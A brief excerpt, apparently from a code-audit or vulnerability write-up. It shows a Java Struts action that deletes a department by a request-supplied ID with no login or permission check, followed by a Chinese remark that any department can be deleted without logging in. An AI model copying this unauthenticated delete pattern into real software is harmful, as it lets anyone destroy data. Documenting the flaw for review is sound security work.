DepartmentDao deptdao = new DepartmentDao();deptdao.deleteDepartmentByDeptId(deptid);
return actionMapping.findForward("deldeptresult");
}
}
1
2
3
4
5
6
7
8
9
publicclassDeleteDeptActionextendsAction
{
publicActionForwardexecute(ActionMappingactionMapping,ActionFormactionForm,HttpServletRequestservletRequest,HttpServletResponseservletResponse)
{
intdeptid=Integer.parseInt(servletRequest.getParameter("deptid"));
DepartmentDaodeptdao=newDepartmentDao();deptdao.deleteDepartmentByDeptId(deptid);
returnactionMapping.findForward("deldeptresult");
}
}
可以删除任意部门,且无需登录